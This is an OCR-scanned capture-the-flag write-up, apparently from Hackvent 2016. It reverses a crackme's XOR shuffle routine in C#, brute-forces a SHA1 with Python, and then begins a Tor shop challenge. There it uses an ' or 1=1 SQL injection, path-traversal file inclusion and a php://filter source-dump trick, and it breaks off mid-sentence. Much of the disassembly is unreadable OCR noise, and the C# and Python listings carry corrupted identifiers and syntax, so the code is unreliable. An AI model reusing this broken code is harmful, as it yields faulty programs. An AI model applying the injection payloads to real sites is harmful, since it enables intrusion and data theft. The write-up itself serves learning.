oadaezall « £ LEAUE

andazezi|Ll.  C2 aces RETH &

0x00403B04 has two function. The first function duplicate the Key “Hackvent_2016!!", so that we get
“HACKvent_2016!!HACKvent 2016!!HACKvent_2016!!HACKvent_2016!!” back. The second function,
| would call it a shuffle function. It has two arguments. One is the long Hackvent_2016!! Key and the
other one are parts of our Hackvent-Flag.

GE4E1E64 () - 60 PLUSHAD
Ga4Eleas || - 3308 #OR EEX,EBX
CE4E1EE7 () - 2309 H“OR ECH,ECH

= EBYE BC MOU ESI,OWORD FTR SS: CEEP-+EC] RSCIT "uxuuumyynzzazuuug’
oedaleac|) - SEFD 2 MOU EDI,DWORD PTR S5:[EEF+3]
GE4E1EEF () - 2BEE MOU ERX,DWORD PTR DS:[ESI]
Ga4Elall ) - SBSE B4 Mo EDX DNURD PTR DS:[CESI+4]
GE4E1E14) - 29E7 MO Ol DS: CEDIT, ERK
cad4aleale )« 2957 B4 MOU Ol D3: CEOT+41, EDX
oE4aia12|) - BE 20484008 | MO ESI DFFSET BB45459C ASCIT "HACKwent_ 208164 tHACKvent_ 28164 tHACK v ent_2016 4 tHACKvent_281644"
EE4E1E1E )« BD BSEEBEEE | MOU EBF
Ga4alezs () >  SBE7 oy EHH.DNURD FTR DS:[EDI]
GE4E1E2E ) - 2BEF B4 MOU EDH, OWORD PTR 0S: [EDI+4]
GE4E1E25 () - 33686 #®OR ERH, OWORD FTR DS:[ESI]
GEd4aiaza|l - SACS Mo CL HL
EE4EIEZC - SA0C MO El
EE4E1EZE(] - 3291 EE&E%%% wOR DL BVTE PTR DS: [ECH+4818CF]
GA4E1E24 /(0 - 2283 ¥OR OH,BYTE PTR DS:[EBX+4810CF]
ca4Elazq |- CICE 18 ROR EA%, 18
oEdEiesnl) - C1EA 18 ROR ED:, 18
GE4EIE4E ] . SACE Mou- CL, AL
gEd4aia4z|l - SAOC MOL BL, AH
GE4E1E44 (0 - 3291 EE&%%%% #¥OR OL,BYTE PTR DS:[ECH+4B810CF]
cad4aiedn(l - 3283 #®OR OH,BYTE PTR_DS: [EEA+4818CF]
oEdEiesa| - opay MOL ER:, DWORD PTR DS:[EDI]
GE4E1EEZ )« CICA 18 ROR EDX, 18
GE4a18s5|) - C1C8 68 ROR ERR, S
GE4E1EE ) - 2957 @4 MOU DWORD PTR DS: CEDI+41,EDH
EE4E1E5E ()« S3C6 B4 AOD ESI,4
ER4E1ECE() - 22F2 #®0R OH, DL
ER4E1EEE () - 2216 wOR OL,EBYTE FTR DS:[ESI]
ged4aigcz|l - SACE ML CL, OH
GE4E1EE4 ) - 2ADA Mou BL, DL
GE4ElEcs (]« 32A1 EEigg%% #®OR AH,EYTE PTR DSz [ECK+4B81ACF]
Ea4E1EaC ) - 2203 #0R AL,BYTE PTR DS: [EBX+4810CF]
GE4E1ETZ (. CICA 18 ROR EDX, 18
oE4a1e7s|) - C1CE 18 ROR ER:=, 18
GE4EIET2 ) - BE2330E @1 #0R DX, WORD PTR DS:[ESI+1]
EE4E187C) - SACE MoW CL, DH
GE4E1ETE(] - 2A0A HMOU BL, DL
GE4E1esE (]« 32A1 Egigﬁgg #®OR AH,EYTE PTR DS: [ECK+4B81ACF]
gedaiggs|l - 2283 #OR AL,BYTE PTR DS:[EBX+4@18CF]
EE4EIEC ) . 2206 B2 FOD ESI, 2
Ga4alesF () - C1CE 83 ROR EHH.B
EE4E1E92 (1 - 4D CEC El
EE4E1E33 () - 839687 [y(ul¥] DNDRD FTR _D5:[EDIT,ERX
GE4a1835 ) -~ 7S 80 L JHMZ SHORT @@4a]azs
GE4EIEST () . SBEF MOU ERX,OWORD FTR DS:CEDI]
Ga4a1ess ) - SBSF B4 MOW EDH, OWORD FTR DS: CEDI+4]
GE4EIEIC) - 23EE ¥OR ERX,DNURD PTR DS:[ESI]
EE4E1E3E (]« SACS MOU CL, AL
gEdEiena| | - SROC MOL BL,.AH
BE4E1EAZ (]« 23291 EE&S%%% #OR DL,.EBYTE FTR DOS:[ECH+4B816CF]
ged4aiens|| - 3283 HOR DH BVTE PTR DS: [EBX+4E16CF]
GE4E1EAE () - CICE 10 ROR El X
Ga4Eleel ()« CICA 18 ROR EDX, 18
oEdEiged || - SHCS Mo CL HL
GE4EIEEE ()« SA0C MO El
gEd4aiees | - 3291 EE&%%%% HOR DL BVTE PTR DS: [ECH+4E16CF]
GA4E1EBE() - 22B3 HOR DH EYTE PTR DS:[EEH+481@CF]
cad4Elecd | f - CICA 18 ROR El
GE4E1ECT () - 2957 B4 HOu DNDRD PTR DS: [EDI+4]1,EDX
Ea4aiechl - &1 FOFPAD
oEdaiece|| - €9 LEALE
Ga4Elece| . C2 B2E0 RETH 2
AR 1 ACF Gl nR 2@ rHOR *

Well, that shuffle function looks really clean. It takes part of our flag, do some XOR magic and we got
something back. So if it’s only XOR Magic, we should able to unshuffled that thing. Another
important part are the values, which are used for the XOR. You see for example at 0x0040102E, that
the program took predefined values for XOR. That is like a lookup-table. It also take only the first two
parts of the flag. | recreate the hole function in C#, so that | am able to create my own shuffle values:

byte[] lookuptable=
{0x20,0x89,0xEF,0xBC,0x66,0x7D,0xDD,0x48,0xD4,0x44,0x51,0x25,0x56,0xED,0x93
,0x95,0x46,0xE5,0x11,0x7C,0x73,0xCF,0x21,0x14,0x7A,0x8F,0x19,0xD7,0x33,0xB7
,0x8A,0x8E,0x92,0xD3,0x6E,0xAD,0x01,0xE4,0xBD,0x0E,0x67,0x4E,0xA2,0x24,0xFD
,0xA7,0x74,0xFF,0x9E,0x2D,0xB9,0x32,0x62,0xA8,0xFA,0xEB,0x36,0x8D,0xC3,0xF7
,0xF0,0x3F,0x94,0x02,0xE0,0xA9,0xD6,0xB4,0x3E,0x16,0x75,0x6C,0x13,0xAC,0xAl
, 0x9F,0xA0,0x2F,0x2B,0xAB,0xC2,0xAF,0xB2,0x38,0xC4,0x70,0x17,0xDC,0x59,0x15
,0xA4,0x82,0x9D,0x08,0x55,0xFB,0xD8,0x2C,0x5E,0xB3,0xE2,0x26,0x5A,0x77,0x28
,0xCA,0x22,0xCE,0x23,0x45,0xE7,0xF6,0x1D,0x6D,0x4A,0x47,0xB0,0x06,0x3C,0x91
,0x41,0x0D,0x4D,0x97,0x0C,0x7F,0x5F,0xC7,0x39,0x65,0x05,0xE8,0x96,0xD2,0x81
,0x18,0xB5,0x0A,0x79,0xBBR,0x30,0xC1,0x8B,0xFC,0xDB,0x40,0x58,0xE9,0x60,0x80
,0x50,0x35,0xBF,0x90,0xDA,0x0B,0x6A,0x84,0x9B,0x68,0x5B,0x88,0x1F,0x2A,0xF3
,0x42,0x7E,0x87,0x1E,0x1A,0x57,0xBA,0xB6,0x9A,0xF2,0x7B,0x52,0xA6,0xD0,0x27
,0x98,0xBE,0x71,0xCD,0x72,0x69,0xE1,0x54,0x49,0xA3,0x63,0x6F,0xCC,0x3D,0xC8
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,0xD9,0xAA,0x0F,0xC6,0x1C,0xC0,0xFE,0x86,0xEA,0xDE,0x07,0xEC,0xF8,0xC9,0x29
,0xB1,0x9C,0x5C,0x83,0x43,0xF9,0xF5,0xB8,0xCB,0x09,0xF1,0x00,0x1B,0x2E,0x85
,0xAE,0x4B,0x12,0x5D,0xD1,0x64,0x78,0x4C,0xD5,0x10,0x53,0x04,0x6B,0x8C,0x34
,0x3A,0x37,0x03,0xF4,0x61,0xC5,0xEE,0xE3,0x76,0x31,0x4F,0xE6,0xDF,0xA5,0x99
,0x3B};

public byte[] shuffle(string input)
{

string debugg ="";

bytel[] eax;

byte[] edx, xxx, yyy;

int ecx,ebx;

int esi = 0;

string xorer =
"HACKvent 2016!!HACKvent 2016!!HACKvent 2016!!HACKvent 2016!!";

byte[] binputl =
Encoding.ASCII.GetBytes (Reverse (input.Substring(0,4)))

byte[] binput2 =
Encoding.ASCII.GetBytes (Reverse (input.Substring(4,4)));

for(int 1 = 0; 1 < 8; i++)
{

eax = binputl;

edx = binput2;

byte[] hhh =

Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)));
eax = XOR(eax, hhh);

ecx Convert.ToInt32(eax[3]);

xxx = new byte[]{0,0,0,lookuptable[ecx]};
ebx = Convert.ToInt32(eax[2]):

yyy = new byte[]{0,0,lookuptable[ebx],0};
edx = XOR(edx, xxx);

edx = XOR(edx, vvy):

eax = ROR(eax, 10);
edx = ROR(edx,10);

ecx = Convert.ToInt32(eax[3]);
ebx = Convert.ToInt32(eax[2]);
xxx = new byte[]{0,0,0,lookuptable[ecx]};
yyy = new byte[]{0,0,lookuptable[ebx],0};

edx = XOR(edx, xxx);
edx = XOR(edx, yyy):;

eax = binputl;

edx = ROR(edx,10);
eax = ROR(eax, 1);

//overwrite second block with new block in edx
binput2 = edx;
esi += 4;

byte[] zzz = {0,0,edx[3],0};

edx = XOR(edx,zzz);

ZZ7Z new byte[]{0,0,0,Convert.ToByte (xorer[esi])};
edx = XOR(edx,zzz);
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ecx = Convert.ToInt32(edx[2]):
ebx = Convert.ToInt32(edx[3]);
xxx = new byte[]{0,0,lookuptable[ecx],0};
yyy = new byte[]1{0,0,0,lookuptable[ebx]};

eax = XOR(eax,xxx);
eax = XOR(eax,yyy);

edx = ROR(edx,10);
eax = ROR(eax, 10)

’

byte[] temp =

Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)));
z22 new byte[]{0,0,temp[1], temp[?]};
edx = XOR(edx, zzz);

ecx = Convert.ToInt32(edx[2]);
ebx = Convert.ToInt32(edx[3]);
xxx = new byte[]{0,0,lookuptable[ecx],0};
yyy = new byte[]{0,0,0,lookuptable[ebx]};

eax = XOR(eax,xxx);
eax = XOR(eax,yyy):

esi += 3;

eax = ROR(eax,l);

//DECrease loop -1

//overwrite first block with that new block in eax
binputl = eax;

eax = binputl;

edx = binput2;

byte[] dh =
Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)));

eax = XOR(eax,dh);

ecx = Convert.ToInt32(eax[3]);

ebx = Convert.ToInt32(eax[2]);

xxx = new byte[]{0,0,0,lookuptable[ecx]};
yyy = new byte[]{0,0,lookuptable[ebx],0};
edx = XOR(edx, xxx);

edx = XOR(edx, yyy):;

edx = ROR(edx,10);

eax = ROR(eax,10);

ecx = Convert.ToInt32(eax[3]);

ebx = Convert.ToInt32(eax[2]);

xxx = new byte[]{0,0,0,lookuptable[ecx]};
yyy = new byte[]1{0,0,lookuptable[ebx],0};
edx = XOR(edx, xxx);

edx = XOR(edx, yyy):;
edx = ROR(edx,10);

binput2 = edx;
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return new
byte[]l{binputl[0],binputl[1],binputl[2],binputl[3],binput2[0],binput2[1],bi
nput2[2],binput2[3]};

}
public byte[] ROL(byte[] arr, int nShift)
{
string start = debug(arr);
for (int i = 0; i < nShift; i++) {
start = start.Substring(2,6) + start.Substring(0,2);
}
byte b0 =
Byte.Parse(start.Substring(0,2) ,NumberStyles.AllowHexSpecifier) ;
byte bl =
Byte.Parse(start.Substring(2,2) ,NumberStyles.AllowHexSpecifier) ;
byte b2 =
Byte.Parse(start.Substring(4,2) ,NumberStyles.AllowHexSpecifier) ;
byte b3 =

Byte.Parse(start.Substring(6,2) ,NumberStyles.AllowHexSpecifier)
byte[] output = {b0,bl,b2,b3};

return output;

}
public byte[] ROR(byte[] arr, int nShift)
{

string start = debug(arr);

for (int i = 0; 1 < nShift; i++) {

start = start.Substring(start.Length-2,2) +
start.Substring(0,06) ;
}
byte b0 =
Byte.Parse(start.Substring(0,2) ,NumberStyles.AllowHexSpecifier);
byte bl =
Byte.Parse(start.Substring(2,2) ,NumberStyles.AllowHexSpecifier)
byte b2 =
Byte.Parse(start.Substring(4,2) ,NumberStyles.AllowHexSpecifier);
byte b3 =
Byte.Parse(start.Substring(6,2) ,NumberStyles.AllowHexSpecifier);
byte[] output = {b0,bl,b2,b3};

return output;

}
public static string Reverse( string s )
{
char[] charArray = s.ToCharArray();
Array.Reverse( charArray );
return new string( charArray );
}
public static byte[] XOR(byte[] arrl, bytel[] arr2)
{
if (arrl.Length != arr2.Length)
throw new ArgumentException("arrl and arr?2 are not the same
length") ;

byte[] result = new bytel[arrl.Lengthl];

for (int 1 = 0; i1 < arrl.Length; ++i)
result[i] = (byte) (arrl[i] * arr2[i]);
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return result;

| know, that is fucking long, but it was worth it. And also took several hours to implement it. Itis a
little bit like emulating the asm-code. Now that we are able, to shuffle every value, we need to
unshuffled it. | wrote also a function for this:

public byte[] unshuffle(byte[] flag)
{

byte[] binputl = {flag[0],flag[l],flag[?],flag[3]1};
byte[] binput2 = {flag[4],flag[®],flag[c]l,flag[/]1};
string debugg ="";
bytel[] eax;
bytel[] edx, xxx, yyy, zzz;
int ecx,ebx;
int esi = ;
string xorer =
"HACKvent 2016!!HACKvent 2016!!HACKvent 2016!!HACKvent 2016!!";

edx
eax

binput2;
binputl;

//edx = ROL (edx,10);

byte[] dh =
Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)))

eax = XOR(eax,dh);

eax = ROR(eax,10);

edx = ROR(edx,10);

ecx = Convert.ToInt32(eax[3]);
ebx = Convert.ToInt32(eax[2]);
xxx = new byte[]{0,0,0,lookuptable[ecx]};
yyy = new byte[]{0,0,lookuptable[ebx],0};

edx = XOR(edx, xxx);
edx = XOR(edx, yyy):;

eax = ROR(eax,10);
edx = ROR(edx,10)

’

ecx = Convert.ToInt32(eax[3]);
ebx = Convert.ToInt32(eax[2]);
xxx = new byte[]{0,0,0,lookuptable[ecx]};
yyy = new byte[]{0,0,lookuptable[ebx],0};

edx = XOR(edx, xxx);
edx = XOR(edx, yyy):;

eax = XOR(eax,dh);

binputl eax;
binput2 = edx;

for (int 1 = 0; 1 < 8; i++) {
eax = binputl;
edx = binput2;

eax ROL (eax, 1) ;
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esi

Z22
edx
ZZZ
edx
edx

’

new byte[]{0,0,edx[3],0};
XOR (edx,zzz) ;
new byte[]{0,0,0,Convert.ToByte(xorer[esi])};

XOR (edx,zzz) ;

ROR (edx,

byte[] temp =
Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)))

)

zzz = new byte[]{0,0,temp[1], temp[2]};
edx = XOR(edx, zzz);
ecx = Convert.ToInt32(edx[2]);
ebx = Convert.ToInt32(edx[3])
xxx = new byte[]{0,0,lookuptablel[ecx],0};
yyy = new byte[]1{0,0,0,lookuptable[ebx]};
eax = XOR(eax,xxx);
eax = XOR(eax,yyy);
temp
Encoding.ASCII.GetBytes (Reverse(xorer.Substring(esi,4)));
zzz = new byte[]{0,0,temp[1], temp[2]};
edx = XOR(edx, zzz);
edx = ROR(edx,10);
eax = ROR(eax,10);
ecx = Convert.ToInt32(edx[2]):
ebx = Convert.ToInt32(edx[3])
xxx = new byte[]{0,0,lookuptable[ecx],0};
yyy = new byte[]1{0,0,0,lookuptable[ebx]};
eax = XOR(eax,xxx);
eax = XOR(eax,yyy);
esi - ;
edx = binput2;
eax = ROL(eax, 1);
edx = ROR(edx,10);
binputl = eax;
byte[] hhh =

Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)));
eax = XOR(eax,

eax

ecx
ebx
XXX

YYy

edx
edx

eax
edx

ecx
XXX

ROR (eax,

hhh) ;
)

Convert.ToInt32 (eax[3]);
Convert.ToInt32 (eax[2]);

new byte[]{0,0,0,lookuptable[ecx]};
new byte[]{0,0,lookuptable[ebx],0};
XOR (edx, yyy);

XOR (edx, xxx);

ROR (eax,10) ;

ROR (edx, 10) ;

Convert.ToInt32(eax[3]);
new byte[]{0,0,0,lookuptable[ecx]};
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ebx Convert.ToInt32(eax[2])

yyy = new byte[]{0,0,lookuptable[ebx],0};
edx = XOR(edx, xxx);

edx = XOR(edx, yyy);

hhh =

Encoding.ASCII.GetBytes (Reverse (xorer.Substring(esi,4)));
eax = XOR(eax, hhh);

binput2 = edx;

}
binput2 = edx;
binputl = eax;

return new
byte[]l{binputl[0],binputl[1],binputl[2],binputl[3],binput2[0],binput2[1],bi
nput2[2],binput2[3]};
}

Now we only need to find the shuffled flag. Well, the comparison right after the 0x00403B04 function
tells us, where we should look into the memory:

GE4azoa1 ||« 68 454@4ema | FUSH OFFSET oo4e4e4s

Arad = ASCII "HACKEwent_Z@lGtt™
GE4E90E (] « &8 Ecd24B86 | PUSH OFFSET GE4842F& Ara2 = HU1&_DebugMz. 4842F6
EE4ES9AE ] - &8 EEd424BB0 | PUSH OFFSET BE84B842FE Argl = ASCIL "dxusyyywzzzzwveae'”
GE4E29EG(| «  ES 4FR1QEHE | CALL @a462B84 HU1E_Debughz, BR4E2EE4
BE4ES9ES(| « B BS0@@@EE | MOU ECH,S
B848298A(] - BF Fad84668 | MOU EDI,OFFSET G@8484876
HE4bsoER )« BE FE424088 [ HMOW ESI,OFFSET BE4842F5

F2: A6 REPE_CHPS EYTE PTR DS:[ESI1,BYTE PTR ES:[EDI]

MU sz | oEn g e s 1
HE4E487E| 50 BR B3 FE 9B 3H 3H ER ¥S 57 C2 98 20 4C D07 S2|1EE x::dulE-LI=s
BE4E4E28) 00 ES DS 12 8C FY AG 4E B4 vC 52 39 S0 2F 11 20| ip"$1-3He <3140
BE4E4E%8 56 FB E1 B4 6E 6F V@ 65 B8 OO 0@ B8 88 B8 00 08| U-Ernope
BE4E4EHE) BE BE B8 BB BE G0 B8 B8 BE GO G B8 BE BB B3 Q8

BE4E46E6) BE BE B B8 BB G0 B B8 AR GG B3 A8 BA BB 66 EE

GGl LG G G G GG GG GG G G R G G I 1]

With that knowledge we can use our unshuffle function:

public string debug2(byte[] wvalue)
{
return
String.Format ("{0: X2} {1: X2} {2:X2}{3:X2} {4:X2}{5:X2}{6:X2}{7:X2}", valuel[3],
value[”], value[l], value[0], wvalue[/], value[¢], value[>], value[4]);

}
void ButtonlClick(object sender, EventArgs e)
{
//important, 4bytes in memory must be reversed
byte[] bel = { 14 14 r 14 14 14 14 }V.
byte[] beZ = { 14 14 r 14 14 14 14 }V.
txt debug.Text += debug2(unshuffle(bsfl));
txt debug.Text += debug2(unshuffle(bsf2));
}
gs day21
reverse-t

364CTT4ABBTET04CH96ATTETTATS3S1|
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And that’s the first 4 parts in hex. Now we know our flag is: “HV16-6LwlJ-kvpL-Yjwg-zu3Q-????". But
the damn last part is missing. Right after the shuffle-checks, we have another function:

BE4E3ICE
BE4E3ICT
BE4E23C0
BE4E23302
BE4EZI07
BE4E330C
BE4a239E1
BE4E3IES
BE4E2IEE
HE4E2IED

BEAEZIF 4

A AT

7S &H JME SHORT B@4E3H32

&8 45404800 (PUSH OFFSET BE484845 Ara3 = ASCII "HACKwent_ZE1Gtt"™
&3 FedzdBaa | PUSH OFFSET @EdadzF HraZ = UTF=2 "ullE-L"eLwlkuvplY jwgzu3a™
&3 Bed24BEE | PUSH OFFSET G84043686 Hral = ASCII "jwgzulda™

ES 28018808 |CALL AR4E3EA4 HU1E_Debugt3. BE4E3E04

B B2000EEa | Mo ECH, S

EBF MaL EDI,OFFSET B@4a4a7s

BE MOU ESI,OFFSET Bod4B42F& UTF-2 "ullg-L"&LwdkvplY jwgzu3a™”
F3:HE REFE CMPS BYTE PTR DS:[ESII1.BYTE PTR ES

7L 29 JHE SHORT B@4E3HZE

EZ 38R10EEE  CHLL BE403824 CHU1E_Debughs. BB4683E24

E2) I DUORD T be: 404306, 1

If we follow the function, we got to the following code:

BE4H3EES
BELHZEED
00403E2F

HE4E3B3E
BE4E3B3C
BE4E82B2F
BE4E83E41
BE483E47
BE483E42
BE4E3E4C

RARARIDAN

| —

R LR

L )

1]
Edi1E67FF3E @
B4 678928 @

FPUSH 88483840

FUSH DOWORD PTR FS:[SHALL A1
MOU OWORD PTR FS:[SHMALL @1,ESP
MOUZY ERX.BYTE PTR DS:[4842F1]
SUB ERX, 45

OIW ERX

FOP DWORD PTR FS:[SMALL @1

a0R ERX,ERR

AODO ESF, 4

RS 1= = LU = g LY

Entry point

ASCIT "uwna"

As you see, it takes the first byte of our last part of the flags and subtract 0x45 from it and the
divided it with the new value itself. If the function is successful, it only returns. If some asm
command fail, it jumps into in exception handler. So if we divide something with zero, it jumps into
that exception handler. So we know our first character of the last part must be 0x45 (“E”) to trigger
that Exception Handler. But you need first set a breakpoint into the exception handler. It is right
under the function | explained before:

TR L L

BE4E3E22
BE4E3E2F
BE4EZESE
BE4E2E3C
BE4E2B2F
BE4E83E41
BE4E82E47
BEa483E42
AEA4E3E40

BE4EZE4F
BE4E2B54
BE4E2BES
BE4E823BER
BE4E82BEE
BE483E51
Ba483E64
BE4E3EE7
BE4EZEBER
BE4E3E71
BE4E2E72
BE4E3E72
BE4E2E70
BE483E22
BE483E37
BE483E52
BE4EZEEE
BE4a2B20
BE4E2E97
BE4E2E99

M AT e

=

TE e

[P V)

63 40204808
64:i67:FF36 B
6416728926 A

F7F
B8:c7:2F0s &
S3CE

234 a4

C3

33ce

AZ BE434RER
SB4C24 BC
2941 a4

a5

ac

i@

14

3241 18
gBBBBBEB

EC424086
E2 BOFCFFFF
BT 148888686

e e

PUSH 88483840

FUSH DWORD PTR FS5: [SMALL A1
MOU DWORO PTR FS:[SMALL @1,ESF
MOUZX ERX,.BYTE FTR DS:[4842F11
SUB ERX, 45

DIV ERX

FOP DWORD PTR FS:[SHALL @1

#OR ERX,ERX

AOD ESF, 4

RETH
ERx, ERX

OWORD FTR
ECX, DWORD
OWoRD PTR
OWoRD PTR
OWoRD PTR
DWORD
QWaRD
QWaRD

05: [484238E], ERX
PTR 55:[HRG. 2]
D05: CECH+41,ERX
D5: CECH+2]1, ERX
DS: [ECH+BEC], ERX
DSz [ECH+18],ERX
05: [ECH+14],ERX

05:[ECH+15], ERX
OWarD O5: CECH+8BE], 2
PUSH 2

PUSH OFFSET BR4B42EC

CALL Ba4a322A

MO ECH, 14

Moy ESI,OFFSET 98484828

MOW EDI,ERA

REFE CHFS BYTE PTR DS:[CESII1,BYTE FTR ES
JME SHORT BE4AIESY

MOU DWORD PTR DS:[48438E1,1

#OR ERX, ERX

MM FLIEFAE RTE PG F A A ERRIED S Se ke e 1]

Entruy point

ASCII "Enun™

9
ASCII "zu3@-Exuq™
__DebugMa. BB460333A

T
oy
—_
[y
[=RINI}

Now we see another function, which gets the last two parts as input. Let’s follow that function:
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L=
-

C2 8488 &AA
ES 42ZDHFFFF
FF7S @C

FF7S @3

EZ &ADAFFFF
2EFD @2

SB35 CLA2400
2975 FC

22370 FC B@

74 ab
ES BEDEFFFF
4A

2370 FC @&

74 ao

EZ EDDHRFFFF
40

EMTER 4,8

CALL 88481235

FUSH OWORD PTR S55: CEEF+AC]
FUSH DWORD PTR 55: [EBF+5]
CHLL Ba4a1=gs

MOU EDI,OWORD PTR S5:L[EEBFP+2]
MOU ESI,OWORD PTR DS:[4842CC]
MOU DWORD PTR 55:[EBP-41,ESI
FCHP OWORD PTR SS:[CEBP-41,8
JE SHORT B884033:D

CALL 88481373

AOO EOI, 48

OEC DWORD PTR S5:[EBF-41

L MP SHORT BE4E235H

MOU EDI,OFFSET BE464212

MOU ESI,OWORD PTR DS:[484292]
MOV DWORD PTR 55: [EBP-41,ESI
FCHP _OWORD PTR 55:[CEBP-41,8
JE SHORT BB4R355E

CALL 88481373

AOD EOI, 48

OEC DWORD PTR S5:[EBP-41

L MP SHORT GE468237E

MOW ERX, OFFSET B8468423C

[CHP ESI, 14

JE SHORT BB4A3SATY

MO ECH,OWORD FTR DS:[CESI+ERX]
BSWAP ECK

MOU DWORD PTR DO5:[ESI+EAR],ECH
ADD ESI, 4

L MP SHORT B@4683395
A0R ECH,ECH

LERVE

RETH &

LT N

HU1lE_DebugM3. BE48333A( guessed Argl,Arg2)

Hra2 =» [ARG.EBP+EC]
[Hrgl = RASCII "zu3G-Exnn"
HUlE_DebugHs. B@4E1 2B

mbde di | eblca = = RINA

And another function. If we follow the new function again, we will see a lot of shifting and xoring
stuff. At this time, | didn’t care about that part. | concentrated more on the loop under that function,

cause it might be handle the output from that function.

BRI ELS SO e

[=l=)

HJay EHA, UIEE SR

BRI 2L

ESI=AAEARRAC (decimal 12.)

Loop BE40383935: loop wariable ESIC+4)

ra
EE4E2892 ()« 23F& ®OR ESILESI
Gad4azs9s() > S3FE 14 CHF ESI, 14
aad4az292(| -~ 74 80 JE SHORT B84835A7
EE4EzaA(| - SEQCEE MaW ECH,OWORD PTR DO5: CESI+EAR]
EE4EsE20(| - BFCY ESWAF ECH
FE4ASEIF (| «  S9AC3E MO OWORD PTR DOS: [ESI+EAX],ECH
A = 33C6 A4 AOD ESI,.4
EA4EZ22R5|| =~ EE _EE JMPSHORT BR483595
EE4EZ8E7 (| »  23C9 HOR ECH,ECH
BE4E33A9(] - C9 LERLE
Gad4azsan|(ke  C2 ag98 RETH &
Gopcooonlee  ~o GE ELSH & el atare
Irim=4

Address

Hexw dump

ASCII

BE4E429C
BE4E42AC
BE484 2B
BE4E4 200
aa4a420c
BE4E42EC
BE4E42FC
BE4E4 260
BE4E421C
Be484320

&0
25
e
a5 ]
20
A
oy
2z
s 1]
[15]

MtE L+ tGErAc| Yo
AW AREQENT" myg| i
wTZk-EEFH

B “3e HULE
—sLwJ-kuplL—Y jwa-
ZUSR-Exnuy ubeE-L
%gELudkupLVjugzu

As | debug through these loops | saw, that the last loop build up a 40 byte long string. So | think it
might be a hash. The only hash, which handle 40 bytes is SHAL. So all these hex-values should be
SHA1(last_two_parts_of_flag). After returning from that function, there is a comparison of 2 SHA1
Hashes:
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T LT | . [ (RIS

IzCe AOR EAR, EAR

BT 14888868 | MO ECH, 14

Ba4E3E4F || - A3 BE434008 | MOV DWORD FTR 0S: [48428E1, ERA

Ba483E54 | =  SEB4C24 BC MO ECH, OWORD FTR 55z [HRG. 31

BE4EZEES)) - 2941 B4 MO DWORD PTR DO5: CECH+4]1,ERX

BE4E3BER) - 2941 82 MOU DWORD PTR DOS:CECH+2]1,ERY

BE4E3BEE|] - 2941 BC MOU DWORD PTR OS: CECH+ECT, ERX

BE4E3BE1) - 2941 18 MOU DWORD PTR D5: [ECH+1@8]1, ERX

BE4E3BE4 ] - 2941 14 MOU DWORD PTR D5: CECH+141,ERX

ga483Be7|] - £941 18 MOy DWORD PTR DS: CECH+18], ERX

BE4E3BEH|] - 5331 BSEEEEE) A00 OWORD FTR D5: CECR+BES1, 2

Ba483E71|| - &R 82 FUSH 2 Arg2 = 9

BA4E3E73( - &5 EC424080 |PUSH OFFSET BE4E42ZEC [ﬂrgl = RSCII "zus@-Eunn™
AE4E3B72) | - EZ BOFCFFFF | CALL BR4B@323A HUle_DebuaMz. BE4E2232H

BE ZO484008 |MOU ESI.OFFSET 80484620
2BF2 MOU EDI, ER:
i[5 4 F3:R& REFE CHPS BYTE PTR DS: [ESI1,BYTE PTR E3
BEdESESE|| -~ TS @A JME SHORT BE4AZESY
ga4Ezpsn)l - CYES BE424800 MOV DWORD FTR DS: [48428E1, 1
BE4E3B97| > 22CA DR EAK, EFAX
BE4a2399) L. RETH

[
BE4E83B9A| - FF2E FotAdnin JMP DWORD PTR D5: [<&KERMEL2Z.GetModu leH
| AoamsEomRl £ EEZE Fropamel M OUNOE0 ETE OS- CoabFENEl S0 B itBross
ECH=0BEA0E14 (decimal 2@.1]

[E848429C]1=50 ["M"]
[Ba4a48381=00

Hddress |Hex dump HSCII

HE4E4E2E| D0 ES OS 12/ 8C F7 AE 4E B4 7C 52 29 ED 2F 11 90| 1F'#1-3MH# 1 =3]1-40
GE4E4E%8 (56 FB E1 A4 6E 6F v@ &5 BB 00 08 88 88 06 08 88| U-ERnope
HE4E4000| B8 BE £E B8 B0 B8 B0 0D BE B B0 OR 08 00 ©8 G4

In EDI, we have a pointer to our SHA1-Hash and in ESI we have a pointer to the hardcoded hash. So
we only need the last 3 chars. That should be easily done with a little bruteforce python script:

import hashlib

bruter = "abcdefghijklmnopgrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
print hashlib.shal ("zu30-E123") .hexdigest()

for cl in bruter:

for c2 in bruter:
for c¢3 in bruter:

passs = "zu30-E" 4+ cl + c2 + c3
hashs = hashlib.shal (passs) .hexdigest ()
if "DDES8D5I128CEFT7A04E047C58395D2F119D56F0E1A4" .1lower () == hashs:

print "HV16-6LwJ-kvpL-Yjwg-" + passs

And finally! We got our flag for the day: HV16-6LwJ-kvpL-Yjwg-zu3Q-EN8o
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Day 22: Pengus Site
From the dark side

Task
You heard from the media that Pengu switched to the dark side of the power to sell crazy stuff on the
"darknet".

Pwn his site to show everybody that he's for a reason a character of some child series.
The media article:

The owner of the website 7y4b2aymlqwmkyuh.onion, Pengu, sells crazy stuff, oh noez!

Solution
So we have dark web shop reachable via TOR-Network. At the beginning we have only a login screen.
We can it easy bypass with a simple SQL Injection:

- Pengus Shop -

** Merry X-Mas **

Your secret key: [ or 1=1 | J( Login ]

After the login | played a little bit with the product page and found quickly a Local File Inclusion:
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(i) | 7ydb2aymlgwmkyuh.onion/?p=../vwww/86024cad1e83101d97359d7351051156

- Pengus Shop -

** Merry X-Mas **

Home Products Logout

SELLING MUFFIN FOR 1337 §

LR e R
(N
ST

LLEEETTTTT

SELLING SHARK FOR 1'000'000 $

(.. X o IN /1
\ O Ny 2 NN
\ \/ | X £
vvvvl \ VA |
Noeesr = X f |

. == A |
2. N& |

A . Fd

\ /

When we are lucky, we could use the PHP-Filter URL to get the source code from the website. For
that use the local file inclusion with “php://filter/convert.base64-encode/resource=./myfile”
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SS @ € > O Ty4b2aymlgwmkyuh.onion/?p=php://filter/convert.baseb4-encode/resource=2123

- Pengus Shop -

** Merry X-Mas **

Home Products Logout

PD9waHAKICBlenJvcl9yZXBvenRpbmcoMCk7CgoglGNsYXNZIEFkbWhiUGFja2FnZSB7CgogICAIHB:

With that we can now dump some sites. | also noticed, that the Get-parameter p is always the md5-
hash of the name. For example, the home-site have the parameter
